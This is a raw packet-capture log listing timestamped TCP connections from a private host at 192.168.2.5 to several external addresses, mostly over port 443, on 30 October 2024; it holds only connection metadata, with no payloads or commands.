Oct 30, 2024 23:11:27.757734060 CET	49773	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.757740021 CET	443	49773	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.773150921 CET	443	49774	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.773586035 CET	49774	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.773602962 CET	443	49774	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.774044991 CET	49774	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.774049997 CET	443	49774	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.796327114 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:27.796364069 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:27.796457052 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:27.796776056 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:27.796793938 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:27.804053068 CET	443	49775	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.804547071 CET	49775	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.804558039 CET	443	49775	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.805007935 CET	49775	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.805013895 CET	443	49775	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.890913963 CET	443	49773	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.891428947 CET	443	49773	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.891490936 CET	49773	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.891529083 CET	49773	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.891541958 CET	443	49773	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.891554117 CET	49773	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.891558886 CET	443	49773	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.894391060 CET	49781	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.894413948 CET	443	49781	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.894479990 CET	49781	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.894617081 CET	49781	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.894627094 CET	443	49781	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.906290054 CET	443	49774	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.906476021 CET	443	49774	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.906528950 CET	49774	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.906574965 CET	49774	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.906583071 CET	443	49774	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.906594038 CET	49774	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.906598091 CET	443	49774	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.908245087 CET	443	49776	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.908627987 CET	49776	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.908638954 CET	443	49776	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.909184933 CET	49776	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.909189939 CET	443	49776	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.909210920 CET	49782	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.909233093 CET	443	49782	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.909306049 CET	49782	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.909416914 CET	49782	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.909430027 CET	443	49782	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.950407028 CET	443	49775	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.950463057 CET	443	49775	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.950516939 CET	49775	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.951798916 CET	49775	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.951807976 CET	443	49775	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.951813936 CET	49775	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.951817989 CET	443	49775	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.955398083 CET	49783	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.955416918 CET	443	49783	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:27.955529928 CET	49783	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.955710888 CET	49783	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:27.955718994 CET	443	49783	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.045268059 CET	443	49776	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.045336008 CET	443	49776	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.045391083 CET	49776	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.045622110 CET	49776	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.045634031 CET	443	49776	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.045660973 CET	49776	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.045666933 CET	443	49776	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.046439886 CET	443	49777	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.046951056 CET	49777	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.046960115 CET	443	49777	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.047463894 CET	49777	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.047468901 CET	443	49777	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.049689054 CET	49784	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.049721956 CET	443	49784	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.049824953 CET	49784	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.049978018 CET	49784	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.049994946 CET	443	49784	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.181363106 CET	443	49777	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.181555033 CET	443	49777	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.181632042 CET	49777	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.181680918 CET	49777	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.181699038 CET	443	49777	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.181710958 CET	49777	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.181716919 CET	443	49777	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.184883118 CET	49785	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.184916019 CET	443	49785	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.185200930 CET	49785	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.185286999 CET	49785	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.185295105 CET	443	49785	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.652725935 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:28.652954102 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:28.652986050 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:28.653500080 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:28.653565884 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:28.654500961 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:28.654563904 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:28.654812098 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:28.654894114 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:28.655004978 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:28.655034065 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:28.655047894 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:28.669090033 CET	443	49781	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.671283960 CET	49781	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.671307087 CET	443	49781	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.671806097 CET	49781	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.671813011 CET	443	49781	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.686583996 CET	443	49783	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.687072039 CET	49783	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.687096119 CET	443	49783	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.687521935 CET	49783	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.687526941 CET	443	49783	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.700195074 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:28.765342951 CET	443	49782	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.765855074 CET	49782	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.765868902 CET	443	49782	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.766386032 CET	49782	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.766391039 CET	443	49782	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.788563967 CET	443	49784	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.790589094 CET	49784	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.790628910 CET	443	49784	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.791120052 CET	49784	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.791126966 CET	443	49784	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.806561947 CET	443	49781	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.806714058 CET	443	49781	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.806983948 CET	49781	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.808339119 CET	49781	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.808361053 CET	443	49781	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.808372021 CET	49781	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.808377981 CET	443	49781	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.811789989 CET	49786	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.811819077 CET	443	49786	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.811907053 CET	49786	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.812170982 CET	49786	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.812185049 CET	443	49786	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.816659927 CET	443	49783	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.816874981 CET	443	49783	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.816947937 CET	49783	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.817166090 CET	49783	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.817173004 CET	443	49783	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.817181110 CET	49783	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.817183971 CET	443	49783	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.819355965 CET	49787	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.819386959 CET	443	49787	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.819690943 CET	49787	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.820087910 CET	49787	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.820100069 CET	443	49787	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.826771975 CET	80	49779	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:28.827003956 CET	49779	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:28.912955046 CET	443	49782	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.913000107 CET	443	49782	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.913057089 CET	49782	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.916969061 CET	49782	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.916987896 CET	443	49782	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.917002916 CET	49782	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.917010069 CET	443	49782	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.921385050 CET	443	49784	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.921452999 CET	443	49784	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.921506882 CET	49784	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.923749924 CET	49784	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.923762083 CET	443	49784	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.928287983 CET	49788	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.928368092 CET	443	49788	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.928518057 CET	49788	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.929339886 CET	49788	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.929373980 CET	443	49788	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.929497004 CET	443	49785	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.930551052 CET	49785	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.930571079 CET	443	49785	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.931205988 CET	49785	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.931211948 CET	443	49785	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.936347008 CET	49789	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.936434984 CET	443	49789	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.936583042 CET	49789	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.936714888 CET	49789	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:28.936748981 CET	443	49789	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:28.963088036 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:29.012701035 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:29.012726068 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:29.059573889 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:29.066396952 CET	49779	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:29.072236061 CET	80	49779	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:29.081154108 CET	443	49785	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.081515074 CET	443	49785	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.081613064 CET	49785	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.081897020 CET	49785	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.081897020 CET	49785	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.081912041 CET	443	49785	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.081919909 CET	443	49785	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.084480047 CET	49790	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.084512949 CET	443	49790	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.084609985 CET	49790	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.084750891 CET	49790	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.084762096 CET	443	49790	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.088663101 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:29.088727951 CET	443	49780	142.250.185.174	192.168.2.5
Oct 30, 2024 23:11:29.088927031 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:29.126355886 CET	49780	443	192.168.2.5	142.250.185.174
Oct 30, 2024 23:11:29.126405954 CET	49742	443	192.168.2.5	172.217.18.4
Oct 30, 2024 23:11:29.552181959 CET	443	49786	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.552700996 CET	49786	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.552716970 CET	443	49786	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.553221941 CET	49786	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.553227901 CET	443	49786	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.564160109 CET	443	49787	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.564537048 CET	49787	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.564554930 CET	443	49787	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.565032959 CET	49787	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.565037966 CET	443	49787	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.682832003 CET	443	49786	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.682965994 CET	443	49786	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.683021069 CET	49786	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.683248997 CET	49786	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.683264971 CET	443	49786	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.683276892 CET	49786	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.683283091 CET	443	49786	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.686237097 CET	49791	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.686275005 CET	443	49791	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.686352968 CET	49791	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.686533928 CET	49791	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.686546087 CET	443	49791	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.690381050 CET	443	49788	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.691299915 CET	49788	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.691299915 CET	49788	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.691329002 CET	443	49788	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.691344976 CET	443	49788	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.697266102 CET	443	49787	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.697324991 CET	443	49787	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.697551012 CET	49787	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.697551012 CET	49787	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.697582960 CET	49787	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.697597980 CET	443	49787	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.699851036 CET	49792	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.699875116 CET	443	49792	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.699942112 CET	49792	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.700077057 CET	49792	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.700089931 CET	443	49792	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.823350906 CET	443	49788	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.823761940 CET	443	49788	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.823973894 CET	49788	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.824023962 CET	49788	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.824023962 CET	49788	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.824044943 CET	443	49788	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.824055910 CET	443	49788	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.826407909 CET	443	49790	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.826790094 CET	49790	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.826801062 CET	443	49790	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.826981068 CET	49793	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.827016115 CET	443	49793	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.827230930 CET	49793	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.827358961 CET	49790	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.827363014 CET	443	49790	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.827457905 CET	49793	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.827471972 CET	443	49793	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.865614891 CET	80	49779	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:29.865674019 CET	49779	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:29.959980011 CET	443	49790	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.960231066 CET	443	49790	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.960334063 CET	49790	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.960546970 CET	49790	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.960560083 CET	443	49790	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.960568905 CET	49790	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.960573912 CET	443	49790	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.963145018 CET	49794	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.963185072 CET	443	49794	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:29.963385105 CET	49794	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.963754892 CET	49794	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:29.963764906 CET	443	49794	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.448520899 CET	443	49791	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.448956966 CET	49791	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.448977947 CET	443	49791	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.449758053 CET	49791	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.449762106 CET	443	49791	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.450234890 CET	443	49792	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.450725079 CET	49792	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.450742006 CET	443	49792	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.451174021 CET	49792	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.451179028 CET	443	49792	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.563211918 CET	443	49793	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.582452059 CET	443	49791	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.582537889 CET	443	49791	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.582602024 CET	49791	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.582782984 CET	49793	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.582811117 CET	443	49793	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.583005905 CET	443	49792	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.583237886 CET	443	49792	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.583298922 CET	49792	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.583659887 CET	49793	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.583667040 CET	443	49793	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.617265940 CET	49791	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.617288113 CET	443	49791	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.617297888 CET	49791	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.617305040 CET	443	49791	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.620888948 CET	49792	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.620922089 CET	443	49792	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.620939970 CET	49792	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.620946884 CET	443	49792	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.692929983 CET	443	49794	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.709897041 CET	443	49793	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.710073948 CET	443	49793	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.710159063 CET	49793	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.744827032 CET	49794	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.744837999 CET	443	49794	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.745379925 CET	49794	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.745384932 CET	443	49794	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.748342037 CET	49795	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.748385906 CET	443	49795	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.748471022 CET	49795	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.748747110 CET	49795	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.748760939 CET	443	49795	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.749432087 CET	49793	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.749432087 CET	49793	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.749447107 CET	443	49793	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.749455929 CET	443	49793	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.761787891 CET	49796	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.761826992 CET	443	49796	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.761909008 CET	49796	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.765681982 CET	49797	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.765716076 CET	443	49797	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.765791893 CET	49797	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.766593933 CET	49796	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.766612053 CET	443	49796	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.773179054 CET	49797	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.773201942 CET	443	49797	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.871387959 CET	443	49794	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.871473074 CET	443	49794	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.871526003 CET	49794	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.890223980 CET	49794	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.890239954 CET	443	49794	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.890250921 CET	49794	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.890255928 CET	443	49794	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.902729034 CET	49798	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.902818918 CET	443	49798	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:30.902911901 CET	49798	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.903533936 CET	49798	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:30.903568029 CET	443	49798	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.070754051 CET	443	49789	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.122064114 CET	49789	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.211918116 CET	49789	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.211935043 CET	443	49789	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.212718010 CET	49789	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:31.212723017 CET	443	49789	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:31.340698004 CET	443	49789	13.107.246.45	192.168.2.5
